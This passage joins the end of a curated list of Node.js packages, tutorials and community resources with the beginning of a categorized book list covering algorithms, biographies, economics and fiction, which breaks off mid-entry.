[Strapi](https://github.com/strapi/strapi) - Content Management Framework (headless-CMS) to build powerful APIs. - [Tipe](https://github.com/tipeio/tipe) - Developer-first content management system with GraphQL and REST API from a schema file. ### Forum - [nodeBB](https://github.com/NodeBB/NodeBB) - Forum platform for the modern web. ### Blogging - [Ghost](https://github.com/TryGhost/Ghost) - Simple, powerful publishing platform. - [Hexo](https://github.com/hexojs/hexo) - Fast, simple and powerful blogging framework. ### Weird - [cows](https://github.com/sindresorhus/cows) - ASCII cows. - [superb](https://github.com/sindresorhus/superb) - Get superb like words. - [cat-names](https://github.com/sindresorhus/cat-names) - Get popular cat names. - [dog-names](https://github.com/sindresorhus/dog-names) - Get popular dog names. - [superheroes](https://github.com/sindresorhus/superheroes) - Get superhero names. - [supervillains](https://github.com/sindresorhus/supervillains) - Get supervillain names. - [cool-ascii-faces](https://github.com/maxogden/cool-ascii-faces) - Get some cool ascii faces. - [cat-ascii-faces](https://github.com/melaniecebula/cat-ascii-faces) - `₍˄·͈༝·͈˄₎◞ ̑̑ෆ⃛ (=ↀωↀ=)✧ (^･o･^)ﾉ”`. - [nerds](https://github.com/SkyHacks/nerds) - Get data from nerdy topics like Harry Potter, Star Wars, and Pokémon. ### Serialization - [snappy](https://github.com/kesla/node-snappy) - Native bindings for Google's Snappy compression library. - [protobuf](https://github.com/dcodeIO/protobuf.js) - Implementation of Protocol Buffers. - [compactr](https://github.com/compactr/compactr.js) - Implementation of the Compactr protocol. ### Miscellaneous - [execa](https://github.com/sindresorhus/execa) - Better `child_process`. - [cheerio](https://github.com/cheeriojs/cheerio) - Fast, flexible, and lean implementation of core jQuery designed specifically for the server. - [Electron](https://github.com/atom/electron) - Build cross platform desktop apps with web technologies. *(You might like [awesome-electron](https://github.com/sindresorhus/awesome-electron))* - [open](https://github.com/sindresorhus/open) - Opens stuff like websites, files, executables. - [hasha](https://github.com/sindresorhus/hasha) - Hashing made simple. Get the hash of a buffer/string/stream/file. - [dot-prop](https://github.com/sindresorhus/dot-prop) - Get a property from a nested object using a dot path. - [onetime](https://github.com/sindresorhus/onetime) - Only run a function once. - [mem](https://github.com/sindresorhus/mem) - Memoize functions - an optimization technique used to speed up consecutive function calls by caching the result of calls with identical input. - [import-fresh](https://github.com/sindresorhus/import-fresh) - Import a module while bypassing the cache. - [strip-bom](https://github.com/sindresorhus/strip-bom) - Strip UTF-8 byte order mark (BOM) from a string/buffer/stream. - [os-locale](https://github.com/sindresorhus/os-locale) - Get the system locale. - [ssh2](https://github.com/mscdex/ssh2) - SSH2 client and server module. - [adit](https://github.com/markelog/adit) - SSH tunneling made simple. - [import-lazy](https://github.com/sindresorhus/import-lazy) - Import a module lazily. - [file-type](https://github.com/sindresorhus/file-type) - Detect the file type of a Buffer. - [Bottleneck](https://github.com/SGrondin/bottleneck) - Rate limiter that makes throttling easy. - [ow](https://github.com/sindresorhus/ow) - Function argument validation for humans. - [webworker-threads](https://github.com/audreyt/node-webworker-threads) - Lightweight Web Worker API implementation with native threads. - [clipboardy](https://github.com/sindresorhus/clipboardy) - Access the system clipboard (copy/paste). - [node-pre-gyp](https://github.com/mapbox/node-pre-gyp) - Makes it easy to publish and install Node.js C++ addons from binaries. - [opencv](https://github.com/peterbraden/node-opencv) - Bindings for OpenCV. The defacto computer vision library. - [dotenv](https://github.com/motdotla/dotenv) - Load environment variables from .env file. - [remote-git-tags](https://github.com/sindresorhus/remote-git-tags) - Get tags from a remote git repo. - [semver](https://github.com/npm/node-semver) - Semantic version parser. - [Faker.js](https://github.com/Marak/Faker.js) - Generate massive amounts of fake data. - [nodegit](https://github.com/nodegit/nodegit) - Native bindings to Git. - [json-strictify](https://github.com/pigulla/json-strictify) - Safely serialize a value to JSON without data loss or going into an infinite loop. - [resolve-from](https://github.com/sindresorhus/resolve-from) - Resolve the path of a module like `require.resolve()` but from a given path. - [simplecrawler](https://github.com/cgiffard/node-simplecrawler) - Event driven web crawler. - [jsdom](https://github.com/tmpvar/jsdom) - JavaScript implementation of HTML and the DOM. - [hypernova](https://github.com/airbnb/hypernova) - Server-side rendering your JavaScript views. - [@sindresorhus/is](https://github.com/sindresorhus/is) - Type check values. - [env-dot-prop](https://github.com/simonepri/env-dot-prop) - Get, set, or delete nested properties of process.env using a dot path. - [emittery](https://github.com/sindresorhus/emittery) - Simple and modern async event emitter. - [node-video-lib](https://github.com/gkozlenko/node-video-lib) - Pure JavaScript library for working with MP4 and FLV video files and creating MPEG-TS chunks for HLS streaming. - [basic-ftp](https://github.com/patrickjuchli/basic-ftp) – FTP/FTPS client. ## Resources ### Tutorials - [Node.js Best Practices](https://github.com/i0natan/nodebestpractices) - Summary and curation of the top-ranked content on Node.js best practices, available in multiple languages. - [Nodeschool](https://github.com/nodeschool) - Learn Node.js with interactive lessons. - [The Art of Node](https://github.com/maxogden/art-of-node/#the-art-of-node) - An introduction to Node.js. - [stream-handbook](https://github.com/substack/stream-handbook) - How to write Node.js programs with streams. - [module-best-practices](https://github.com/mattdesl/module-best-practices) - Some good practices when writing new npm modules. - [The Node Way](http://thenodeway.io) - An entire philosophy of Node.js best practices and guiding principles exists for writing maintainable modules, scalable applications, and code that is actually pleasant to read. - [You Don't Know Node.js](https://github.com/azat-co/you-dont-know-node) - Introduction to Node.js core features and asynchronous JavaScript. - [Portable Node.js guide](https://github.com/ehmicky/portable-node-guide) - Practical guide on how to write portable/cross-platform Node.js code. ### Discovery - [npms](https://npms.io) - Superb package search with deep analysis of package quality using a [myriad of metrics](https://npms.io/about). - [npm addict](https://npmaddict.com) - Your daily injection of npm packages. - [npmcompare.com](https://npmcompare.com) - Compare and discover npm packages. ### Articles - [Error Handling in Node.js](https://www.joyent.com/node-js/production/design/errors) - [Teach Yourself Node.js in 10 Steps](https://ponyfoo.com/articles/teach-yourself-nodejs-in-10-steps) - [Mastering the filesystem in Node.js](https://medium.com/@yoshuawuyts/mastering-the-filesystem-in-node-js-4706b7cb0801) - [Semver: A Primer](https://nodesource.com/blog/semver-a-primer/) - [Semver: Tilde and Caret](https://nodesource.com/blog/semver-tilde-and-caret/) - [Why Asynchronous?](https://nodesource.com/blog/why-asynchronous/) - [Understanding the Node.js Event Loop](https://nodesource.com/blog/understanding-the-nodejs-event-loop/) - [Understanding Object Streams](https://nodesource.com/blog/understanding-object-streams/) - [Art of README](https://github.com/noffle/art-of-readme) - Learn the art of writing quality READMEs. ### Newsletters - [Node Weekly](http://nodeweekly.com) - Weekly e-mail round-up of Node.js news and articles. - [Node Module Of The Week!](https://nmotw.in) - Weekly dose of hand picked node modules. ### Videos - [Introduction to Node.js with Ryan Dahl](https://www.youtube.com/watch?v=jo_B4LTHi3I) - [Hands on with Node.js](https://learn.bevry.me/hands-on-with-node.js/preface) - [Nodetuts](http://nodetuts.com) - Series of talks, including TCP & HTTP API servers, async programming, and more. - [V8 Garbage Collector](https://v8.dev/blog/trash-talk) - Trash talk about the V8 garbage collector. ### Books - [Node.js in Action](https://www.manning.com/books/node-js-in-action-second-edition) - [Node.js in Practice](http://www.amazon.com/Node-js-Practice-Alex-R-Young/dp/1617290939) - [Mastering Node](http://visionmedia.github.io/masteringnode/) - [Node.js 8 the Right Way](https://pragprog.com/book/jwnode2/node-js-8-the-right-way) - [Professional Node.js: Building Javascript Based Scalable Software](http://www.amazon.com/Professional-Node-js-Building-Javascript-Scalable-ebook/dp/B009L7QETY/) - [Practical Node.js: Building Real-World Scalable Web Apps](http://practicalnodebook.com) - [Mixu's Node book](http://book.mixu.net/node/) - [Web Development with Node and Express](http://shop.oreilly.com/product/0636920032977.do) - [Pro Express.js](http://proexpressjs.com) - [Secure Your Node.js Web Application](http://www.amazon.com/Secure-Your-Node-js-Web-Application/dp/1680500856) - [Express in Action](https://www.manning.com/books/express-in-action) - [Practical Modern JavaScript](https://www.amazon.com/Practical-Modern-JavaScript-Dive-Future/dp/149194353X) - [Mastering Modular JavaScript](https://www.amazon.com/Mastering-Modular-JavaScript-Nicolas-Bevacqua/dp/1491955686/) - [Get Programming with Node.js](https://www.manning.com/books/get-programming-with-node-js) ### Blogs - [Node.js blog](https://nodejs.org/en/blog/) - [webapplog.com](http://webapplog.com/tag/node-js/) - Blog posts on Node.js and JavaScript from the author of Practical Node.js and Pro Express.js Azat Mardan. ### Courses - [Learn to build apps and APIs with Node.js](https://learnnode.com/friend/AWESOME) - Video course by Wes Bos. - [Real Time Web with Node.js](https://www.codeschool.com/courses/real-time-web-with-node-js) - [Learn and Understand Node.js](https://www.udemy.com/understand-nodejs) ### Cheatsheets - [Express.js](https://github.com/azat-co/cheatsheets/blob/master/express4) - [Stream FAQs](https://github.com/stephenplusplus/stream-faqs) - Answering common questions about streams, covering pagination, events, and more. - [Strong Node.js](https://github.com/jesusprubio/strong-node) - Checklist for source code security analysis of a Node.js web service. ### Tools - [OctoLinker](https://chrome.google.com/webstore/detail/octolinker/jlmafbaeoofdegohdhinkhilhclaklkp) - Chrome extension that linkifies dependencies in package.json, .js, .jsx, .coffee and .md files on GitHub. - [npm-hub](https://chrome.google.com/webstore/detail/npm-hub/kbbbjimdjbjclaebffknlabpogocablj) - Chrome extension to display npm dependencies at the bottom of a repo's readme. - [RunKit](http://blog.tonicdev.com/2015/09/30/embedded-tonic.html) - Embed a Node.js environment on any website. - [RequireBin](http://requirebin.com) - Shareable JavaScript programs powered by npm and browserify. - [github-npm-stats](https://chrome.google.com/webstore/detail/github-npm-stats/oomfflokggoffaiagenekchfnpighcef) - Chrome extension that displays npm download stats on GitHub. - [npm semver calculator](https://semver.npmjs.com) - Visually explore what versions of a package a semver range matches. ### Community - [Gitter](https://gitter.im/nodejs/node) - [`#node.js` on Freenode](http://webchat.freenode.net/?channels=node.js) - [Stack Overflow](http://stackoverflow.com/questions/tagged/node.js) - [Reddit](https://www.reddit.com/r/node) - [Twitter](https://twitter.com/nodejs) - [Hashnode](https://hashnode.com/n/nodejs) - [Discord](https://discordapp.com/invite/96WGtJt) ### Miscellaneous - [nodebots](http://nodebots.io) - Robots powered by JavaScript. - [node-module-boilerplate](https://github.com/sindresorhus/node-module-boilerplate) - Boilerplate to kickstart creating a node module. - [generator-nm](https://github.com/sindresorhus/generator-nm) - Scaffold out a node module. - [Microsoft Node.js Guidelines](https://github.com/Microsoft/nodejs-guidelines) - Tips, tricks, and resources for working with Node.js on Microsoft platforms. - [Module Requests & Ideas](https://github.com/sindresorhus/module-requests) - Request a JavaScript module you wish existed or get ideas for modules. ## Related lists - [awesome-npm](https://github.com/sindresorhus/awesome-npm) - Resources and tips for using npm. - [awesome-cross-platform-nodejs](https://github.com/bcoe/awesome-cross-platform-nodejs) - Resources for writing and testing cross-platform code. ## License [](https://creativecommons.org/publicdomain/zero/1.0/) To the extent possible under law, [Sindre Sorhus](https://sindresorhus.com) has waived all copyright and related or neighboring rights to this work.

# Books [](https://github.com/learn-anything/curated-lists) The number after the book name stands for the year in which the book was written in. All books are put in their respective category and are sorted from newest to oldest. 📕/📖 before the books show if the book is free or not. _Please read [contribution guidelines](contributing.md) before contributing._ - [Algorithms](#algorithms) - [Architecture](#architecture) - [Art](#art) - [Autobiography](#autobiography) - [Awareness](#awareness) - [Basic Income](#basic-income) - [Biographies](#biographies) - [Biology](#biology) - [Business](#business) - [Category theory](#category-theory) - [Chemistry](#chemistry) - [Compilers](#compilers) - [Computational complexity](#computational-complexity) - [Computer graphics](#computer-graphics) - [Computer networking](#computer-networking) - [Computer science](#computer-science) - [Computer Systems](#computer-systems) - [Creativity](#creativity) - [Cybernetics](#cybernetics) - [Cryptography](#cryptography) - [Cryptocurrencies](#cryptocurrencies) - [Data Science](#data-science) - [Databases](#databases) - [Design](#design) - [Drugs](#drugs) - [Economics](#economics) - [Engineering](#engineering) - [Environment](#environment) - [Evolution](#evolution) - [Fiction](#fiction) - [Adventure](#adventure) - [Comedy](#comedy) - [Fantasy](#fantasy) - [Fantasy series](#fantasy-series) - [Short Stories](#short-stories) - [Thriller](#thriller) - [Film Making](#film-making) - [Finance](#finance) - [Fitness](#fitness) - [Functional programming](#functional-programming) - [Future](#future) - [Game Development](#game-development) - [Graphic design](#graphic-design) - [History](#history) - [Alternative history](#alternative-history) - [Investing](#investing) - [Kubernetes](#kubernetes) - [Leadership](#leadership) - [Logic](#logic) - [Machine learning](#machine-learning) - [Management](#management-) - [Math](#math) - [Memoirs](#memoirs) - [Mindset](#mindset) - [Minimalism](#minimalism) - [Music Production](#music-production) - [Neuroscience](#neuroscience) - [Non Fiction](#non-fiction) - [Nutrition](#nutrition) - [Operating Systems](#operating-systems) - [iOS](#ios) - [Linux](#linux) - [MacOS](#macos) - [Philosophy](#philosophy) - [Physics](#physics) - [Poetry](#poetry) - [Politics](#politics) - [Programming interviews](#programming-interviews) - [Programming language design](#programming-language-design) - [Programming languages](#programming-languages) - [Assembly](#assembly) - [C](#c) - [C++](#c-1) - [D](#d) - [Go](#go) - [Clojure](#clojure) - [Haskell](#haskell) - [Java](#java) - [JavaScript](#javascript) - [Kotlin](#kotlin) - [Lisp](#lisp) - [OCaml](#ocaml) - [Perl](#perl) - [PowerShell](#powershell) - [Prolog](#prolog) - [Purescript](#purescript) - [Python](#python) - [R](#r) - [ReasonML](#reasonml) - [Ruby](#ruby) - [Rust](#rust) - [Scala](#scala) - [Smalltalk](#smalltalk) - [Swift](#swift) - [TypeScript](#typescript) - [Agda](#agda) - [Programming](#programming) - [Psychedelics](#psychedelics) - [Psychology](#psychology) - [Quantum physics](#quantum-physics) - [Regular Expressions](#regular-expressions) - [Reinforcement learning](#reinforcement-learning) - [Reverse engineering](#reverse-engineering) - [Science](#science) - [SciFi](#scifi) - [SciFi Series](#scifi-series) - [Security](#security) - [Sleep](#sleep) - [Society](#society) - [Spirituality](#spirituality) - [Startups](#startups) - [Statistics](#statistics) - [Strategy](#strategy) - [Text editors](#text-editors) - [Vim](#vim) - [Type theory](#type-theory) - [Unix](#unix) - [Version Control](#version-control) - [Git](#git) - [Visualization](#visualization) - [Writing](#writing) - [Web Development](#web-development) - [CSS](#css) - [Node](#node) - [React](#react) - [Redux](#redux) - [Webpack](#webpack) - [Web design](#web-design) - [Other](#other) ## Algorithms - [📖 Algorithm design manual (1987)](https://mimoza.marmara.edu.tr/~msakalli/cse706_12/SkienaTheAlgorithmDesignManual.pdf) - [📕 Introduction to algorithms (1990)](https://www.goodreads.com/book/show/108986.Introduction_to_Algorithms) - [📕 Algorithm design (2005)](https://www.goodreads.com/book/show/145055.Algorithm_Design) - [📖 Algorithms by Dasgupta (2006)](http://algorithmics.lsi.upc.edu/docs/Dasgupta-Papadimitriou-Vazirani.pdf) - [📖 Algorithms etc by Jeff Erickson (2015)](http://jeffe.cs.illinois.edu/teaching/algorithms/) - [📖 Algorithm design: parallel and sequential](http://www.parallel-algorithms-book.com/) - [📕 Advanced Algorithms and Data Structures in Action (2019)](https://www.goodreads.com/book/show/47316716-algorithms-and-data-structures-in-action) - [📕 Algorithms and Data Structures for Massive Datasets (2021)](https://www.manning.com/books/algorithms-and-data-structures-for-massive-datasets) ## Architecture - [📕 The Underdome Guide to Energy Reform (2015)](https://www.amazon.com/Underdome-Guide-Energy-Reform/dp/1616893974) ## Art - [📕 Drawing on the right side of the brain (1979)](https://www.goodreads.com/book/show/627206.The_New_Drawing_on_the_Right_Side_of_the_Brain) ## Autobiography - [📕 I know why the caged bird sings (1993)](https://www.goodreads.com/book/show/13214.I_Know_Why_the_Caged_Bird_Sings) - [📕 Hit Refresh (2017)](https://www.goodreads.com/book/show/30835567-hit-refresh) - [📕 Becoming (2018)](https://www.goodreads.com/book/show/38746485-becoming) ## Awareness - [📕 Last chance to see](https://www.goodreads.com/book/show/8696.Last_Chance_to_See) ## Basic Income - [📖 World After Capital (2018)](http://worldaftercapital.org/) ## Biographies - [📕 The autobiography of Malcolm X (1965)](https://www.goodreads.com/book/show/92057.The_Autobiography_of_Malcolm_X) - [📕 Napoleon bonaparte: an intimate biography (1971)](https://www.goodreads.com/book/show/22175392-napoleon-bonaparte-an-intimate-biography?rating=1) - [📕 The power broker (1974)](https://www.goodreads.com/book/show/1111.The_Power_Broker) - [📕 Surely you’re joking Mr Feynman (1984)](https://www.goodreads.com/book/show/5544.Surely_You_re_Joking_Mr_Feynman_) - [📕 The man who knew infinity: a life of the genius Ramanujan (1991)](https://www.goodreads.com/book/show/106139.The_Man_Who_Knew_Infinity) - [📕 Speak, memory (1951)](https://www.goodreads.com/book/show/30594.Speak_Memory) - [📕 Madame curie: a biography (2001)](https://www.goodreads.com/book/show/341166.Madame_Curie) - [📕 Benjamin franklin: an american life (2004)](https://www.goodreads.com/book/show/10883.Benjamin_Franklin) - [📕 Team of rivals: the political genius of Abraham Lincoln (2005)](https://www.goodreads.com/book/show/2199.Team_of_Rivals) - [📕 Einstein: his life and universe (2007)](https://www.goodreads.com/book/show/10884.Einstein) - [📕 The strangest man (2009)](https://www.goodreads.com/book/show/6629359-the-strangest-man) - [📕 Steve Jobs (2011)](https://www.goodreads.com/book/show/11084145-steve-jobs) - [📕 The Everything Store: Jeff Bezos and the Age of Amazon (2013)](https://www.goodreads.com/book/show/17660462-the-everything-store) - [📕 Elon Musk: tesla, spacex, and the quest for a fantastic future (2015)](https://www.goodreads.com/book/show/22543496-elon-musk) - [📕 Trump revealed: the definitive biography of the 45th president (2017)](https://www.goodreads.com/book/show/29906336-trump-revealed) - [📕 My Journey: Transforming Dreams into Actions by A.P.J Abdul Kalam ](https://www.goodreads.com/book/show/18371021-my-journey) ## Biology - [📕 Molecular Biology of the Cell (1983)](https://www.goodreads.com/book/show/13400.Molecular_Biology_of_the_Cell) - [📕 Rang & Dale's Pharmacology (1987)](https://www.goodreads.com/book/show/380577.Rang_Dale_s_Pharmacology) ## Business - [📕 The effective executive (1967)](https://www.goodreads.com/book/show/48019.The_Effective_Executive) - [📕 The hard things about hard things (2014)](https://www.goodreads.com/book/show/18176747-the-hard-thing-about-hard-things) - [📕 Give and take: why helping others drives our success (2014)](https://www.goodreads.com/book/show/16158498-give-and-take) - [📕 MAKE: Bootstrapper's Handbook (2018)](https://www.goodreads.com/book/show/39165640-make) - [📕 The Lean Startup (2011)](https://www.goodreads.com/book/show/10127019-the-lean-startup) ## Category theory - [📖 Category Theory for Programmers (2018)](https://github.com/hmemcpy/milewski-ctfp-pdf) - [📖 Basic Category Theory (2016)](https://arxiv.org/pdf/1612.09375.pdf) - [📖 Category Theory in Context (2016)](http://www.math.jhu.edu/~eriehl/context.pdf) - [📖 Category Theory (2006)](http://angg.twu.net/MINICATS/awodey__category_theory.pdf) ## Chemistry - [📕 Modern quantum chemistry: introduction to advanced electronic structure theory (1982)](https://www.goodreads.com/book/show/237496.Modern_Quantum_Chemistry) - [📕 Tryptamines i have known and loved: the chemistry continues (1997)](https://www.goodreads.com/book/show/271921.Tihkal) - [📕 Drugs 2.0: the web revolution that's changing how the world gets high (2013)](https://www.goodreads.com/book/show/20613641-drugs-unlimited) ## Compilers - [📕 Compilers: Principles, Techniques, and Tools (1986)](https://www.goodreads.com/book/show/703102.Compilers) - [📖 Compiler Construction by Niklaus Wirth (1996)](http://www.ethoberon.ethz.ch/WirthPubl/CBEAll.pdf) - [📕 Modern Compiler Implementation in ML (1997)](https://www.goodreads.com/book/show/258558.Modern_Compiler_Implementation_in_ML) - [📕 Advanced Compiler Design and Implementation (1997)](https://www.goodreads.com/book/show/887908.Advanced_Compiler_Design_and_Implementation) ## Computational complexity - [📕 Computational Complexity (1993)](https://www.goodreads.com/book/show/138562.Computational_Complexity) - [📖 Computational Complexity: A Modern Approach (2007)](http://theory.cs.princeton.edu/complexity/book.pdf) - [📕 The Nature of Computation (2011)](https://www.goodreads.com/book/show/3043127-the-nature-of-computation) ## Computer graphics - [📖 The book of shaders (2017)](http://thebookofshaders.com) - [📖 Computer Graphics from Scratch](https://www.gabrielgambetta.com/computer-graphics-from-scratch/index.html) ## Computer networking - [📕 TCP/IP network administration (1992)](https://www.goodreads.com/book/show/688363.TCP_IP_Network_Administration) - [📕 Tcp/IP illustrated (1993)](https://www.goodreads.com/book/show/505560.The_Protocols) - [📕 Interconnections: bridges, routers, switches, and internetworking protocols (1999)](https://www.goodreads.com/book/show/320321.Interconnections) - [📕 Computer networking: a top-down approach (2000)](https://www.goodreads.com/book/show/83847.Computer_Networking) - [📕 Unix network programming, volume 1: the sockets networking api (2003)](https://www.goodreads.com/book/show/239240.UNIX_Network_Programming_Volume_1) - [📕 TCP/IP guide (2005)](https://www.goodreads.com/book/show/505564.The_TCP_IP_Guide) - [📖 Computer Networks: A Systems Approach (2012)](https://book.systemsapproach.org/) - [📖 High performance browser networking (2013)](https://hpbn.co/) - [📖 Openssl cookbook (2015)](https://www.feistyduck.com/library/openssl%2dcookbook/online/) - [📖 Beej's guide to network programming (2016)](http://beej.us/guide/bgnet/) - [📖 Distributed Systems 3rd edition (2017)](https://www.distributed-systems.net/index.php/books/ds3/) - [📖 An introduction to computer networks](http://intronetworks.cs.luc.edu/current/html/) ## Computer science - [📕 The new Turing Omnibus (1989)](https://www.goodreads.com/book/show/964709.The_New_Turing_Omnibus) - [📖 Purely functional data structures (1996)](https://www.cs.cmu.edu/~rwh/theses/okasaki.pdf) - [📕 Introduction to the theory of computation (1996)](https://www.goodreads.com/book/show/400716.Introduction_to_the_Theory_of_Computation) - [Solutions](https://github.com/ryandougherty/Introduction-to-the-Theory-of-Computation-Solutions) - [📕 Gems of Theoretical Computer Science (1998)](https://www.goodreads.com/book/show/4715024-gems-of-theoretical-computer-science) - [📕 Types and programming languages (2002)](https://www.cis.upenn.edu/%7Ebcpierce/tapl/) - [📕 Advanced topics in types and programming languages (2004)](https://www.cis.upenn.edu/%7Ebcpierce/attapl/) - [📕 The elements of computing systems (2005)](https://www.goodreads.com/book/show/910789.The_Elements_of_Computing_Systems) - [Computer implementation](https://github.com/havivha/Nand2Tetris) - [📕 Annotated turing (2008)](https://www.goodreads.com/book/show/2333956.The_Annotated_Turing) - [📕 The nature of computation (2011)](http://www.nature-of-computation.org/) - [📖 Software foundations (2011)](https://softwarefoundations.cis.upenn.edu/current/index.html) - [📖 Introduction to data compression (2012)](<https://github.com/gabrieldiego/tg/blob/master/ref/Introduction%20to%20Data%20Compression%20(4th%20Edition).pdf>) ## Computer Systems - [📖 NASA System Engineering (2007)](https://www.nasa.gov/sites/default/files/atoms/files/nasa_systems_engineering_handbook.pdf) - [📖 Distributed systems (2013)](http://book.mixu.net/distsys/) - [📕 General Systems Thinking (2015)](https://www.goodreads.com/book/show/583766.An_Introduction_to_General_Systems_Thinking) - [📕 Computer systems: a programmer’s perspective](https://www.goodreads.com/book/show/829182.Computer_Systems) ## Creativity - [📕 Creativity, inc (2014)](https://www.goodreads.com/book/show/18077903-creativity-inc) ## Cybernetics - [📕 The human use of human beings (2015)](https://www.amazon.com/Human-Use-Beings-Cybernetics-Society/dp/0306803208) - [📕 Techniques of the observer : on vision and modernity in the nineteenth… (1990)](https://www.goodreads.com/book/show/18077903-creativity-inc) ## Cryptography - [📕 The code book (1999)](https://www.goodreads.com/book/show/17994.The_Code_Book) - [📖 Engineering security (2014)](https://www.cs.auckland.ac.nz/~pgut001/pubs/book.pdf) - [📖 Graduate course in applied cryptography (2016)](https://crypto.stanford.edu/~dabo/cryptobook/draft_0_3.pdf) - [📖 Practical Cryptography for Developers (2018)](https://cryptobook.nakov.com/?q=) - [📕 Real World Cryptography](https://www.manning.com/books/real-world-cryptography) - [📕 Secret Key Cryptography](https://www.manning.com/books/secret-key-cryptography) - [📕 Implementing and Exploiting Cryptography](https://www.manning.com/books/implementing-and-exploiting-cryptography) ## Cryptocurrencies - [📖 Mastering Ethereum (2018)](https://github.com/ethereumbook/ethereumbook) ## Data Science - [📕 Designing Data-Intensive Applications (2014)](http://shop.oreilly.com/product/0636920032175.do) - [📕 Fighting Churn With Data (2020)](https://www.manning.com/books/fighting-churn-with-data) - [📕 Data Science Bookcamp (2021)](https://www.manning.com/books/data-science-bookcamp) - [📕 Effective Data Science Infrastructure (2021)](https://www.manning.com/books/effective-data-science-infrastructure) - [📕 Graph Algorithms for Data Science (2021)](https://www.manning.com/books/graph-algorithms-for-data-science) - [📕 Software Engineering for Data Scientists (2023)](https://www.manning.com/books/software-engineering-for-data-scientists) ## Databases - [📕 The data warehouse toolkit (1996)](https://www.goodreads.com/book/show/748203.The_Data_Warehouse_Toolkit) - [📕 Learn SQL in a Month of Lunches (2022)](https://www.manning.com/books/learn-sql-in-a-month-of-lunches) ## Design - [📕 The non-designer's design book (1994)](https://www.goodreads.com/book/show/41597.The_Non_Designer_s_Design_Book) - [📕 Design meets disability (2009)](https://www.goodreads.com/book/show/5982641-design-meets-disability) - [📕 The design of everyday things](https://www.goodreads.com/book/show/840.The_Design_of_Everyday_Things) - [📕 The best interface is no interface: the simple path to brilliant technology](https://www.goodreads.com/book/show/22758923-the-best-interface-is-no-interface) - [📖 The Shape of Design](https://shapeofdesignbook.com) - [📕 Alien Phenomenology or what its like to be a thing (2012)](https://www.amazon.com/Alien-Phenomenology-What-Thing-Posthumanities/dp/0816678987) - [📕 The Best Interface Is No Interface: The Simple Path to Brilliant Technology](http://www.nointerface.com/book/) - [📕 Speculative Everything (2013)](https://www.amazon.com/Speculative-Everything-Design-Fiction-Dreaming/dp/0262019841) ## Drugs - [📕 A Primer of Drug Action (1975)](https://www.goodreads.com/book/show/1134902.A_Primer_of_Drug_Action) - [📕 Drugged: The Science and Culture Behind Psychotropic Drugs (2013)](https://www.goodreads.com/book/show/17847528-drugged) - [📕 Pleasures of the Brain (2009)](https://www.goodreads.com/book/show/6777669-pleasures-of-the-brain) ## Economics - [📕 Capital (1867)](https://www.goodreads.com/book/show/325785.Capital_Vol_1) - [📕 Reading capital](http://davidharvey.org/reading-capital/) - [📖 Kapitalism 101](https://kapitalism101.wordpress.com/) - [📕 Imperialism, the highest stage of capitalism (1917)](https://www.goodreads.com/book/show/179609.Imperialism) - [📕 The worldly philosophers (1953)](https://www.goodreads.com/book/show/82120.The_Worldly_Philosophers) - [📕 Principles of economics (1997)](https://www.goodreads.com/book/show/1753460.Principles_of_Economics) - [📕 Introductory Econometrics: A Modern Approach (1999)](https://www.goodreads.com/book/show/390475.Introductory_Econometrics) - [📕 Microeconomics and behaviour (2000)](https://www.goodreads.com/book/show/5986495-microeconomics-and-behavior) - [📕 Debt: first 5000 years (2011)](https://www.goodreads.com/book/show/6617037-debt) - [📕 How asia works: success and failure in the world’s most dynamic region (2013)](https://www.goodreads.com/book/show/16144575-how-asia-works) - [📕 Capital in the twenty first century (2013)](https://www.goodreads.com/book/show/18736925-capital-in-the-twenty-first-century) - [📕 Economics: the user's guide (2014)](https://www.goodreads.com/book/show/20613671-economics) ## Engineering - [📕 Structures: or why things don't fall down (1978)](https://www.goodreads.com/book/show/245344.Structures) ## Evolution - [📕 The selfish gene (1976)](https://www.goodreads.com/book/show/61535.The_Selfish_Gene) - [📕 Darwin's dangerous idea (1995)](https://www.goodreads.com/book/show/2068.Darwin_s_Dangerous_Idea) - [📕 Life ascending: the ten great inventions of evolution (2009)](https://www.goodreads.com/book/show/6429264-life-ascending) ## Environment - [📕 Natural Capitalism (2001)](https://www.goodreads.com/book/show/24298924-natural-capitalism) - [📕 Reinventing Fire (2013)](https://www.goodreads.com/book/show/12742309-reinventing-fire) - [📕 Drawdown: The Most Comprehensive Plan Ever Proposed to Reverse Global Warming (2017)](https://www.drawdown.org/) - [📕 Whole Earth Discipline (2009)](https://www.amazon.com/Whole-Earth-Discipline-Ecopragmatist-Manifesto/dp/0670021210) ## Fiction - [📕 Notes from underground (1864)](https://www.goodreads.com/book/show/17876.Notes_from_Underground_White_Nights_The_Dream_of_a_Ridiculous_Man_and_Selections_from_The_House_of_the_Dead) - [📕 Crime and punishment (1866)](https://www.goodreads.com/book/show/7144.Crime_and_Punishment) - [📕 The idiot (1869)](https://www.goodreads.com/book/show/12505.The_Idiot) - [📕 The brothers karamazov (1880)](https://www.goodreads.com/book/show/4934.The_Brothers_Karamazov) - [📕 Flatland (1884)](https://www.goodreads.com/book/show/433567.Flatland) - [📕 The picture of dorian gray (1890)](https://www.goodreads.com/book/show/5297.The_Picture_of_Dorian_Gray) - [📕 The yellow wallpaper (1892)](https://www.goodreads.com/book/show/286957.The_Yellow_Wall_Paper) - [📕 The iron heel (1908)](https://www.goodreads.com/book/show/929783.The_Iron_Heel) - [📕 The ragged trousered philanthropists (1914)](https://www.goodreads.com/book/show/921359.The_Ragged_Trousered_Philanthropists) - [📕 We (1924)](https://www.goodreads.com/book/show/76171.We) - [📕 Heart of a dog (1925)](https://www.goodreads.com/book/show/113205.Heart_of_a_Dog) - [📕 The great gatsby (1925)](https://www.goodreads.com/book/show/4671.The_Great_Gatsby) - [📕 Brave new world (1932)](https://www.goodreads.com/book/show/5129.Brave_New_World) - [📕 The glass bead game (1943)](https://www.goodreads.com/book/show/16634.The_Glass_Bead_Game) - [📕 Animal farm (1945)](https://www.goodreads.com/book/show/7613.Animal_Farm) - [📕 The plague (1947)](https://www.goodreads.com/book/show/11989.The_Plague) - [📕 No longer human (1948)](http://en.wikipedia.org/wiki/No_Longer_Human) - [📕 Nineteen eighty-four (1949)](https://www.goodreads.com/book/show/5470.1984) - [📕 Bel: An essay on man in revolt (1951)](https://www.goodreads.com/book/show/11990.The_Rebel) - [📕 East of eden (1952)](https://www.goodreads.com/book/show/4406.East_of_Eden) - [📕 Fahrenheit 451 (1953)](https://www.goodreads.com/book/show/17470674-fahrenheit-451) - [📕 The doors of perception (1954)](https://www.goodreads.com/book/show/3188964-the-doors-of-perception) - Details Aldous Huxley’s own experiences when taking mescaline. - [📕 Lolita (1955)](https://www.goodreads.com/book/show/7604.Lolita) - [📕 Atlas Shrugged 